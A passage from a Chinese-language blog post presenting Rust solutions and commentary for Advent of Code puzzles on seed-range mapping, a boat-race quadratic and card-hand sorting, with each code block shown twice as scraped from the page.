light_to_temperature = process_mapping(items[5]); let temperature_to_humidity = process_mapping(items[6]); let humidity_to_location = process_mapping(items[7]); let mut locations: Vec\u0026lt;u32\u0026gt; = vec![0; seeds.len()]; for (index, seed) in seeds.iter().enumerate() { let mut soil = 0; let mut mapped = false; for mapping in seed_to_soil.iter() { if *seed \u0026gt;= mapping.src_start \u0026amp;\u0026amp; *seed \u0026lt; mapping .src_start .checked_add(mapping.length) .unwrap_or(u32::MAX) { soil = mapping .dst_start .wrapping_add(*seed) .wrapping_sub(mapping.src_start); mapped = true; break; } } // if not mapped, use the src number if !mapped { soil = *seed; } let mut fertilizer = 0; mapped = false; for mapping in soil_to_fertilizer.iter() { if soil \u0026gt;= mapping.src_start \u0026amp;\u0026amp; soil \u0026lt; mapping .src_start .checked_add(mapping.length) .unwrap_or(u32::MAX) { fertilizer = mapping .dst_start .wrapping_add(soil) .wrapping_sub(mapping.src_start); mapped = true; break; } } if !mapped { fertilizer = soil; } // highly repetitive part omitted locations[index] = location; println!(\u0026#34;Seed {}, soil {}, fertilizer {}, water {}, light {}, temperature {}, humidity {}, location {}\u0026#34;, seed, soil, fertilizer, water, light, temperature, humidity, location); } // sort locations locations.sort(); Some(locations[0]) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 #[derive(Debug, PartialEq, Clone, Copy, Eq, PartialOrd, Ord)] struct Mapping { dst_start: u32, src_start: u32, length: u32, } pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let items = input.split(\u0026#34;\\n\\n\u0026#34;).collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let seeds = items[0] .strip_prefix(\u0026#34;seeds: \u0026#34;) .unwrap() .split_whitespace() .map(|s| s.parse::\u0026lt;u32\u0026gt;().unwrap()) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let process_mapping = |x: \u0026amp;str| -\u0026gt; Vec\u0026lt;Mapping\u0026gt; { x.lines() .skip(1) .map(|line| { let mut parts = line.split_whitespace(); let dst_start = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); let src_start = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); let length = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); Mapping { dst_start, src_start, length, } }) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;() }; let seed_to_soil = process_mapping(items[1]); let soil_to_fertilizer = process_mapping(items[2]); let fertilizer_to_water = process_mapping(items[3]); let water_to_light = process_mapping(items[4]); let light_to_temperature = process_mapping(items[5]); let temperature_to_humidity = process_mapping(items[6]); let humidity_to_location = process_mapping(items[7]); let mut locations: Vec\u0026lt;u32\u0026gt; = vec![0; seeds.len()]; for (index, seed) in seeds.iter().enumerate() { let mut soil = 0; let mut mapped = false; for mapping in seed_to_soil.iter() { if *seed \u0026gt;= mapping.src_start \u0026amp;\u0026amp; *seed \u0026lt; mapping .src_start .checked_add(mapping.length) .unwrap_or(u32::MAX) { soil = mapping .dst_start .wrapping_add(*seed) .wrapping_sub(mapping.src_start); mapped = true; break; } } // if not mapped, use the src number if !mapped { soil = *seed; } let mut fertilizer = 0; mapped = false; for mapping in soil_to_fertilizer.iter() { if soil \u0026gt;= mapping.src_start \u0026amp;\u0026amp; soil \u0026lt; mapping .src_start .checked_add(mapping.length) .unwrap_or(u32::MAX) { fertilizer = mapping .dst_start .wrapping_add(soil) .wrapping_sub(mapping.src_start); mapped = true; break; } } if !mapped { fertilizer = soil; } // highly repetitive part omitted locations[index] = location; println!(\u0026#34;Seed {}, soil {}, fertilizer {}, water {}, light {}, temperature {}, humidity {}, location {}\u0026#34;, seed, soil, fertilizer, water, light, temperature, humidity, location); } // sort locations locations.sort(); Some(locations[0]) } Part 2 题面意思改动很小，只是把第一行穷举的种子改为了数个区间的格式。样例的数据量不大，但实际输入动辄20亿。诚然，AoC没有时空复杂度限制，但应该没人好意思写一个20亿次外层循环的暴力吧？虽然暴力跑比想正解快多了\n由于第一问没有搞那些花活，第二问就不强上高级算法了。将计就计，直接以区间作为单位进行映射。其核心思想就是根据映射范围切割区间，分别进行映射。怎么有种编译原理实验的感觉呢 至于切割和映射的过程，个人建议对着样例画张图，能够极大地便于调试。在此奉上我画的图：\nD5P2 样例解析 有了上一问的经验，此处并没有直接存储映射前后的差值，即使这样代码更简洁，因为 i32 相比 u32 天生就少了一半儿的能够表示的绝对值。相反，跟上一问一样使用 wrapping_add 和 wrapping_sub 放任溢出。\n为了程序的简洁性，还使用了更多lambda表达式，读起来可能困难一点，但行数确实少了很多。\nrust 复制代码 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let items = input.split(\u0026#34;\\n\\n\u0026#34;).collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let seeds = items[0] .strip_prefix(\u0026#34;seeds: \u0026#34;) .unwrap() .split_whitespace() .map(|s| s.parse::\u0026lt;u32\u0026gt;().unwrap()) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;() .chunks(2) .map(|x| (x[0], x[0] \u0026#43; x[1])) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let process_mapping = |x: \u0026amp;str| -\u0026gt; Vec\u0026lt;Mapping\u0026gt; { let mut result = x .lines() .skip(1) .map(|line| { let mut parts = line.split_whitespace(); let dst_start = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); let src_start = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); let length = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); Mapping { dst_start, src_start, length, } }) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); result.sort_by(|a, b| a.src_start.cmp(\u0026amp;b.src_start)); result }; let seed_to_soil = process_mapping(items[1]); let soil_to_fertilizer = process_mapping(items[2]); let fertilizer_to_water = process_mapping(items[3]); let water_to_light = process_mapping(items[4]); let light_to_temperature = process_mapping(items[5]); let temperature_to_humidity = process_mapping(items[6]); let humidity_to_location = process_mapping(items[7]); let mut min_position = u32::MAX; let transform_ranges = |original_ranges: Vec\u0026lt;(u32, u32)\u0026gt;, mappings: \u0026amp;Vec\u0026lt;Mapping\u0026gt;| -\u0026gt; Vec\u0026lt;(u32, u32)\u0026gt; { let mut result = vec![]; \u0026#39;range: for range in original_ranges.iter() { let mut range_start = range.0; // \u0026#34;cut\u0026#34; the range from start let range_end = range.1; // include start, exclude end for mapping in mappings.iter() { let mapping_start = mapping.src_start; let mapping_end = mapping .src_start .checked_add(mapping.length) .unwrap_or(u32::MAX); if range_start \u0026lt; mapping_start { // remove the part before the mapping, use original range start if range_end \u0026lt; mapping_start { // current range has ended result.push((range_start, range_end)); break; } else { // current range has some overlap with current mapping result.push((range_start, mapping_start)); range_start = mapping_start; } } if range_start \u0026gt;= mapping_end { continue; } // now it at least has some overlap let new_start = cmp::max(range_start, mapping_start) .wrapping_sub(mapping.src_start) .wrapping_add(mapping.dst_start); let new_end = cmp::min(range_end, mapping_end) .wrapping_sub(mapping.src_start) .wrapping_add(mapping.dst_start); result.push((new_start, new_end)); if range_end \u0026lt;= mapping_end { // current range has ended continue \u0026#39;range; } else { // current range has some left range_start = mapping_end; } } // if still has some left, add it if range_start \u0026lt; range_end { result.push((range_start, range_end)); } } result }; for seed in seeds.iter() { let seed_ranges = vec![(seed.0, seed.1)]; let soil_ranges = transform_ranges(seed_ranges, \u0026amp;seed_to_soil); let fertilizer_ranges = transform_ranges(soil_ranges, \u0026amp;soil_to_fertilizer); let water_ranges = transform_ranges(fertilizer_ranges, \u0026amp;fertilizer_to_water); let light_ranges = transform_ranges(water_ranges, \u0026amp;water_to_light); let temperature_ranges = transform_ranges(light_ranges, \u0026amp;light_to_temperature); let humidity_ranges = transform_ranges(temperature_ranges, \u0026amp;temperature_to_humidity); let location_ranges = transform_ranges(humidity_ranges, \u0026amp;humidity_to_location); for location_range in location_ranges.iter() { if location_range.0 \u0026lt; min_position { min_position = location_range.0; } } } Some(min_position) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let items = input.split(\u0026#34;\\n\\n\u0026#34;).collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let seeds = items[0] .strip_prefix(\u0026#34;seeds: \u0026#34;) .unwrap() .split_whitespace() .map(|s| s.parse::\u0026lt;u32\u0026gt;().unwrap()) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;() .chunks(2) .map(|x| (x[0], x[0] + x[1])) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let process_mapping = |x: \u0026amp;str| -\u0026gt; Vec\u0026lt;Mapping\u0026gt; { let mut result = x .lines() .skip(1) .map(|line| { let mut parts = line.split_whitespace(); let dst_start = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); let src_start = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); let length = parts.next().unwrap().parse::\u0026lt;u32\u0026gt;().unwrap(); Mapping { dst_start, src_start, length, } }) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); result.sort_by(|a, b| a.src_start.cmp(\u0026amp;b.src_start)); result }; let seed_to_soil = process_mapping(items[1]); let soil_to_fertilizer = process_mapping(items[2]); let fertilizer_to_water = process_mapping(items[3]); let water_to_light = process_mapping(items[4]); let light_to_temperature = process_mapping(items[5]); let temperature_to_humidity = process_mapping(items[6]); let humidity_to_location = process_mapping(items[7]); let mut min_position = u32::MAX; let transform_ranges = |original_ranges: Vec\u0026lt;(u32, u32)\u0026gt;, mappings: \u0026amp;Vec\u0026lt;Mapping\u0026gt;| -\u0026gt; Vec\u0026lt;(u32, u32)\u0026gt; { let mut result = vec![]; \u0026#39;range: for range in original_ranges.iter() { let mut range_start = range.0; // \u0026#34;cut\u0026#34; the range from start let range_end = range.1; // include start, exclude end for mapping in mappings.iter() { let mapping_start = mapping.src_start; let mapping_end = mapping .src_start .checked_add(mapping.length) .unwrap_or(u32::MAX); if range_start \u0026lt; mapping_start { // remove the part before the mapping, use original range start if range_end \u0026lt; mapping_start { // current range has ended result.push((range_start, range_end)); break; } else { // current range has some overlap with current mapping result.push((range_start, mapping_start)); range_start = mapping_start; } } if range_start \u0026gt;= mapping_end { continue; } // now it at least has some overlap let new_start = cmp::max(range_start, mapping_start) .wrapping_sub(mapping.src_start) .wrapping_add(mapping.dst_start); let new_end = cmp::min(range_end, mapping_end) .wrapping_sub(mapping.src_start) .wrapping_add(mapping.dst_start); result.push((new_start, new_end)); if range_end \u0026lt;= mapping_end { // current range has ended continue \u0026#39;range; } else { // current range has some left range_start = mapping_end; } } // if still has some left, add it if range_start \u0026lt; range_end { result.push((range_start, range_end)); } } result }; for seed in seeds.iter() { let seed_ranges = vec![(seed.0, seed.1)]; let soil_ranges = transform_ranges(seed_ranges, \u0026amp;seed_to_soil); let fertilizer_ranges = transform_ranges(soil_ranges, \u0026amp;soil_to_fertilizer); let water_ranges = transform_ranges(fertilizer_ranges, \u0026amp;fertilizer_to_water); let light_ranges = transform_ranges(water_ranges, \u0026amp;water_to_light); let temperature_ranges = transform_ranges(light_ranges, \u0026amp;light_to_temperature); let humidity_ranges = transform_ranges(temperature_ranges, \u0026amp;temperature_to_humidity); let location_ranges = transform_ranges(humidity_ranges, \u0026amp;humidity_to_location); for location_range in location_ranges.iter() { if location_range.0 \u0026lt; min_position { min_position = location_range.0; } } } Some(min_position) } Day 6 Part 1 船需要先原地蓄力，然后匀速运动，蓄力越久运动越快，时间取值均为离散值。求在给定时间下，有哪几种能够运动超过给定距离的可能，返回其数量。\n初中数学题。设蓄力时间为 $x\\ ms$，时间限制为 $t\\ ms$，则匀速运动的时长为 $x-t\\ ms$，匀速运动的距离为 $x(x-t)\\ mm$。若给定距离为 $d$，则整道题就变成了求 $x(t-x) \\ge d$ 的整数解，即 $\\frac{t+\\sqrt{t^2-4d}}{2}$ 和 $\\frac{t-\\sqrt{t^2-4d}}{2}$。\n特别需要关注的是，题意为“超过”而非“不低于”，所以当两个根为整数的时候，这两个数不能算。我也不知道我是怎么写出如此抽象的代码的。\nrust 复制代码 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let lines = input.lines().collect_vec(); let times: Vec\u0026lt;u32\u0026gt; = lines[0] .split_whitespace() .filter_map(|x| x.parse().ok()) .collect(); let distances: Vec\u0026lt;u32\u0026gt; = lines[1] .split_whitespace() .filter_map(|x| x.parse().ok()) .collect(); let mut prod = 1; for (t, d) in times.iter().zip(distances.iter()) { let t = *t as f64; let d = *d as f64; let delta = ((t * t) - (4.0 * d)).sqrt(); let x1 = (t \u0026#43; delta) / 2.0; let x2 = (t - delta) / 2.0; let count = if x1 == x1.floor() { x1 as u32 - 1 } else { x1.floor() as u32 } - if x2 == x2.ceil() { x2 as u32 \u0026#43; 1 } else { x2.ceil() as u32 } \u0026#43; 1; prod *= count; } Some(prod) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let lines = input.lines().collect_vec(); let times: Vec\u0026lt;u32\u0026gt; = lines[0] .split_whitespace() .filter_map(|x| x.parse().ok()) .collect(); let distances: Vec\u0026lt;u32\u0026gt; = lines[1] .split_whitespace() .filter_map(|x| x.parse().ok()) .collect(); let mut prod = 1; for (t, d) in times.iter().zip(distances.iter()) { let t = *t as f64; let d = *d as f64; let delta = ((t * t) - (4.0 * d)).sqrt(); let x1 = (t + delta) / 2.0; let x2 = (t - delta) / 2.0; let count = if x1 == x1.floor() { x1 as u32 - 1 } else { x1.floor() as u32 } - if x2 == x2.ceil() { x2 as u32 + 1 } else { x2.ceil() as u32 } + 1; prod *= count; } Some(prod) } Part 2 从未见过Part 2比Part 1更简单的，但现在有了。之前需要解好几个方程，现在解一个就可以了。f64 直接秒杀。\nrust 复制代码 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let lines = input.lines().collect_vec(); let pattern = Regex::new(r\u0026#34;[^0-9]\u0026#43;\u0026#34;).unwrap(); let time = pattern.replace_all(lines[0], \u0026#34;\u0026#34;).parse::\u0026lt;f64\u0026gt;().unwrap(); let distance = pattern.replace_all(lines[1], \u0026#34;\u0026#34;).parse::\u0026lt;f64\u0026gt;().unwrap(); let delta = ((time * time) - (4.0 * distance)).sqrt(); let x1 = (time \u0026#43; delta) / 2.0; let x2 = (time - delta) / 2.0; let count = if x1 == x1.floor() { x1 as u32 - 1 } else { x1.floor() as u32 } - if x2 == x2.ceil() { x2 as u32 \u0026#43; 1 } else { x2.ceil() as u32 } \u0026#43; 1; Some(count) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let lines = input.lines().collect_vec(); let pattern = Regex::new(r\u0026#34;[^0-9]+\u0026#34;).unwrap(); let time = pattern.replace_all(lines[0], \u0026#34;\u0026#34;).parse::\u0026lt;f64\u0026gt;().unwrap(); let distance = pattern.replace_all(lines[1], \u0026#34;\u0026#34;).parse::\u0026lt;f64\u0026gt;().unwrap(); let delta = ((time * time) - (4.0 * distance)).sqrt(); let x1 = (time + delta) / 2.0; let x2 = (time - delta) / 2.0; let count = if x1 == x1.floor() { x1 as u32 - 1 } else { x1.floor() as u32 } - if x2 == x2.ceil() { x2 as u32 + 1 } else { x2.ceil() as u32 } + 1; Some(count) } Day 7 Part 1 题面的意思很容易看出来，就是将所有的手牌按指定的排序规则进行排序。\n这下是来学Rust排序的了。之前很多人说Rust的duck-typing（即trait机制）很麻烦，我不以为意，直到我为了排序一个结构体写了四个 impl，以及N个 derive。\n为牌的各种排列组合分别写判断条件不用想就知道很麻烦，所以直接为不同的排列赋上不同的权重，将其加和得到该手牌的总权重，排序起来会很方便。\n所幸实际输入也很简单，过了样例便没有被卡住。\nrust 复制代码 #[derive(Debug)] struct Hand { hand: Vec\u0026lt;Card\u0026gt;, bid: u32, } #[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)] enum Card { A = 14, K = 13, Q = 12, J = 11, T = 10, Nine = 9, Eight = 8, Seven = 7, Six = 6, Five = 5, Four = 4, Three = 3, Two = 2, } impl Ord for Hand { fn cmp(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; Ordering { // how many of each card let self_dict = self.hand.iter().fold(HashMap::new(), |mut acc, card| { *acc.entry(card).or_insert(0) \u0026#43;= 1; acc }); let other_dict = other.hand.iter().fold(HashMap::new(), |mut acc, card| { *acc.entry(card).or_insert(0) \u0026#43;= 1; acc }); // Weight: 5 -\u0026gt; 30, 4 -\u0026gt; 20, 3 -\u0026gt; 10, 2 -\u0026gt; 5, 1 -\u0026gt; 1 let self_weight = self_dict .iter() .map(|(_, count)| match count { 5 =\u0026gt; 30, 4 =\u0026gt; 20, 3 =\u0026gt; 10, 2 =\u0026gt; 5, 1 =\u0026gt; 1, _ =\u0026gt; panic!(\u0026#34;Invalid card count\u0026#34;), }) .sum::\u0026lt;u32\u0026gt;(); let other_weight = other_dict .iter() .map(|(_, count)| match count { 5 =\u0026gt; 30, 4 =\u0026gt; 20, 3 =\u0026gt; 10, 2 =\u0026gt; 5, 1 =\u0026gt; 1, _ =\u0026gt; panic!(\u0026#34;Invalid card count\u0026#34;), }) .sum::\u0026lt;u32\u0026gt;(); if self_weight \u0026gt; other_weight { return Ordering::Greater; } else if self_weight \u0026lt; other_weight { return Ordering::Less; } else { // compare `Card`s in descending order for (self_card, other_card) in self.hand.iter().zip(other.hand.iter()) { if self_card \u0026gt; other_card { return Ordering::Greater; } else if self_card \u0026lt; other_card { return Ordering::Less; } } } Ordering::Equal } } impl PartialOrd for Hand { fn partial_cmp(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; Option\u0026lt;Ordering\u0026gt; { Some(self.cmp(other)) } } impl PartialEq for Hand { fn eq(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; bool { self.bid == other.bid } } impl Eq for Hand {} pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut hands: Vec\u0026lt;Hand\u0026gt; = input .lines() .map(|line| { let mut parts = line.split_whitespace(); let hand = parts .next() .unwrap() .chars() .map(|c| match c { \u0026#39;A\u0026#39; =\u0026gt; Card::A, \u0026#39;K\u0026#39; =\u0026gt; Card::K, \u0026#39;Q\u0026#39; =\u0026gt; Card::Q, \u0026#39;J\u0026#39; =\u0026gt; Card::J, \u0026#39;T\u0026#39; =\u0026gt; Card::T, \u0026#39;9\u0026#39; =\u0026gt; Card::Nine, \u0026#39;8\u0026#39; =\u0026gt; Card::Eight, \u0026#39;7\u0026#39; =\u0026gt; Card::Seven, \u0026#39;6\u0026#39; =\u0026gt; Card::Six, \u0026#39;5\u0026#39; =\u0026gt; Card::Five, \u0026#39;4\u0026#39; =\u0026gt; Card::Four, \u0026#39;3\u0026#39; =\u0026gt; Card::Three, \u0026#39;2\u0026#39; =\u0026gt; Card::Two, _ =\u0026gt; panic!(\u0026#34;Invalid card\u0026#34;), }) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let bid = parts.next().unwrap().parse().unwrap(); Hand { hand, bid } }) .collect(); hands.sort(); let mut winnings: u32 = 0; for i in 1..=hands.len() { winnings \u0026#43;= hands[i - 1].bid * i as u32; } Some(winnings) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 #[derive(Debug)] struct Hand { hand: Vec\u0026lt;Card\u0026gt;, bid: u32, } #[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)] enum Card { A = 14, K = 13, Q = 12, J = 11, T = 10, Nine = 9, Eight = 8, Seven = 7, Six = 6, Five = 5, Four = 4, Three = 3, Two = 2, } impl Ord for Hand { fn cmp(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; Ordering { // how many of each card let self_dict = self.hand.iter().fold(HashMap::new(), |mut acc, card| { *acc.entry(card).or_insert(0) += 1; acc }); let other_dict = other.hand.iter().fold(HashMap::new(), |mut acc, card| { *acc.entry(card).or_insert(0) += 1; acc }); // Weight: 5 -\u0026gt; 30, 4 -\u0026gt; 20, 3 -\u0026gt; 10, 2 -\u0026gt; 5, 1 -\u0026gt; 1 let self_weight = self_dict .iter() .map(|(_, count)| match count { 5 =\u0026gt; 30, 4 =\u0026gt; 20, 3 =\u0026gt; 10, 2 =\u0026gt; 5, 1 =\u0026gt; 1, _ =\u0026gt; panic!(\u0026#34;Invalid card count\u0026#34;), }) .sum::\u0026lt;u32\u0026gt;(); let other_weight = other_dict .iter() .map(|(_, count)| match count { 5 =\u0026gt; 30, 4 =\u0026gt; 20, 3 =\u0026gt; 10, 2 =\u0026gt; 5, 1 =\u0026gt; 1, _ =\u0026gt; panic!(\u0026#34;Invalid card count\u0026#34;), }) .sum::\u0026lt;u32\u0026gt;(); if self_weight \u0026gt; other_weight { return Ordering::Greater; } else if self_weight \u0026lt; other_weight { return Ordering::Less; } else { // compare `Card`s in descending order for (self_card, other_card) in self.hand.iter().zip(other.hand.iter()) { if self_card \u0026gt; other_card { return Ordering::Greater; } else if self_card \u0026lt; other_card { return Ordering::Less; } } } Ordering::Equal } } impl PartialOrd for Hand { fn partial_cmp(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; Option\u0026lt;Ordering\u0026gt; { Some(self.cmp(other)) } } impl PartialEq for Hand { fn eq(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; bool { self.bid == other.bid } } impl Eq for Hand {} pub fn part_one(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut hands: Vec\u0026lt;Hand\u0026gt; = input .lines() .map(|line| { let mut parts = line.split_whitespace(); let hand = parts .next() .unwrap() .chars() .map(|c| match c { \u0026#39;A\u0026#39; =\u0026gt; Card::A, \u0026#39;K\u0026#39; =\u0026gt; Card::K, \u0026#39;Q\u0026#39; =\u0026gt; Card::Q, \u0026#39;J\u0026#39; =\u0026gt; Card::J, \u0026#39;T\u0026#39; =\u0026gt; Card::T, \u0026#39;9\u0026#39; =\u0026gt; Card::Nine, \u0026#39;8\u0026#39; =\u0026gt; Card::Eight, \u0026#39;7\u0026#39; =\u0026gt; Card::Seven, \u0026#39;6\u0026#39; =\u0026gt; Card::Six, \u0026#39;5\u0026#39; =\u0026gt; Card::Five, \u0026#39;4\u0026#39; =\u0026gt; Card::Four, \u0026#39;3\u0026#39; =\u0026gt; Card::Three, \u0026#39;2\u0026#39; =\u0026gt; Card::Two, _ =\u0026gt; panic!(\u0026#34;Invalid card\u0026#34;), }) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let bid = parts.next().unwrap().parse().unwrap(); Hand { hand, bid } }) .collect(); hands.sort(); let mut winnings: u32 = 0; for i in 1..=hands.len() { winnings += hands[i - 1].bid * i as u32; } Some(winnings) } Part 2 大悲，排序规则改了，卡的价值也改了。上面这一坨东西都要重写一遍了，唯独程序逻辑本身不用改，乐。\n易证明结论，在讨论牌型时，将J全部当作除J外数量最多的牌即可。这一点体现在 merge_j 中。其他地方跟Part 1基本没有区别。\n弃了，过了样例没过正经输入，先晾在这儿吧。 当我一筹莫展之时，我在一篇帖子中看到有人提到 JJJJJ 的特例。的确，在之前错误代码 merge_j 的逻辑中，如果只有J没有其他卡，则这个牌组中一张卡都没有。输出也可以验证 JJJJJ 位列最后一位。\nrust 复制代码 dict.remove(\u0026amp;Card2::J); if let Some(max_card) = max_card { *dict.entry(max_card).or_insert(0) \u0026#43;= j_count; } 1 2 3 4 dict.remove(\u0026amp;Card2::J); if let Some(max_card) = max_card { *dict.entry(max_card).or_insert(0) += j_count; } 此时应该在 else 分支中插入五张J。不得不说Copilot比我想得更远，将 max_card 定义为了 Option\u0026lt;\u0026amp;\u0026amp;Card2\u0026gt;，从而包含了不存在其他卡的情况\u0026hellip;\nrust 复制代码 #[derive(Debug, PartialEq, Eq, PartialOrd, Ord, Hash, Copy, Clone)] enum Card2 { A = 14, K = 13, Q = 12, J = 1, T = 10, Nine = 9, Eight = 8, Seven = 7, Six = 6, Five = 5, Four = 4, Three = 3, Two = 2, } #[derive(Debug)] struct Hand2 { hand: Vec\u0026lt;Card2\u0026gt;, bid: u32, } impl PartialOrd for Hand2 { fn partial_cmp(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; Option\u0026lt;Ordering\u0026gt; { Some(self.cmp(other)) } } impl PartialEq for Hand2 { fn eq(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; bool { self.bid == other.bid } } impl Eq for Hand2 {} fn merge_j(dict: \u0026amp;mut HashMap\u0026lt;\u0026amp;Card2, i32\u0026gt;) { // get the number of j and card with largest count let mut j_count = 0; let mut max_count = 0; let mut max_card = None; let dict_clone = dict.clone(); for (card, count) in dict_clone.iter() { if card == \u0026amp;\u0026amp;Card2::J { j_count = *count; } else if *count \u0026gt; max_count { max_count = *count; max_card = Some(card); } } dict.remove(\u0026amp;Card2::J); if let Some(max_card) = max_card { *dict.entry(max_card).or_insert(0) \u0026#43;= j_count; } else { dict.insert(\u0026amp;Card2::J, j_count); } } impl Ord for Hand2 { fn cmp(\u0026amp;self, other: \u0026amp;Self) -\u0026gt; Ordering { let mut self_dict = self.hand.iter().fold(HashMap::new(), |mut acc, card| { *acc.entry(card).or_insert(0) \u0026#43;= 1; acc }); let mut other_dict = other.hand.iter().fold(HashMap::new(), |mut acc, card| { *acc.entry(card).or_insert(0) \u0026#43;= 1; acc }); merge_j(\u0026amp;mut self_dict); merge_j(\u0026amp;mut other_dict); let self_weight = self_dict .iter() .map(|(_, count)| match count { 5 =\u0026gt; 30, 4 =\u0026gt; 20, 3 =\u0026gt; 10, 2 =\u0026gt; 5, 1 =\u0026gt; 1, _ =\u0026gt; panic!(\u0026#34;Invalid card count\u0026#34;), }) .sum::\u0026lt;u32\u0026gt;(); let other_weight = other_dict .iter() .map(|(_, count)| match count { 5 =\u0026gt; 30, 4 =\u0026gt; 20, 3 =\u0026gt; 10, 2 =\u0026gt; 5, 1 =\u0026gt; 1, _ =\u0026gt; panic!(\u0026#34;Invalid card count\u0026#34;), }) .sum::\u0026lt;u32\u0026gt;(); if self_weight \u0026gt; other_weight { return Ordering::Greater; } else if self_weight \u0026lt; other_weight { return Ordering::Less; } else { // compare `Card`s in descending order for (self_card, other_card) in self.hand.iter().zip(other.hand.iter()) { if self_card \u0026gt; other_card { return Ordering::Greater; } else if self_card \u0026lt; other_card { return Ordering::Less; } } } Ordering::Equal } } pub fn part_two(input: \u0026amp;str) -\u0026gt; Option\u0026lt;u32\u0026gt; { let mut hands: Vec\u0026lt;Hand2\u0026gt; = input .lines() .map(|line| { let mut parts = line.split_whitespace(); let hand = parts .next() .unwrap() .chars() .map(|c| match c { \u0026#39;A\u0026#39; =\u0026gt; Card2::A, \u0026#39;K\u0026#39; =\u0026gt; Card2::K, \u0026#39;Q\u0026#39; =\u0026gt; Card2::Q, \u0026#39;J\u0026#39; =\u0026gt; Card2::J, \u0026#39;T\u0026#39; =\u0026gt; Card2::T, \u0026#39;9\u0026#39; =\u0026gt; Card2::Nine, \u0026#39;8\u0026#39; =\u0026gt; Card2::Eight, \u0026#39;7\u0026#39; =\u0026gt; Card2::Seven, \u0026#39;6\u0026#39; =\u0026gt; Card2::Six, \u0026#39;5\u0026#39; =\u0026gt; Card2::Five, \u0026#39;4\u0026#39; =\u0026gt; Card2::Four, \u0026#39;3\u0026#39; =\u0026gt; Card2::Three, \u0026#39;2\u0026#39; =\u0026gt; Card2::Two, _ =\u0026gt; panic!(\u0026#34;Invalid card\u0026#34;), }) .collect::\u0026lt;Vec\u0026lt;_\u0026gt;\u0026gt;(); let bid = parts.next().unwrap().parse().unwrap(); Hand2 { hand, bid } }) .collect(); hands.sort(); let mut winnings: u32 = 0; for i in 1..=hands.len() { winnings \u0026#43;= hands[i - 1].bid * i as u32; println!(\u0026#34;#{}: {:?}\u0026#34;, i, hands[i - 1]); } Some(winnings) } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 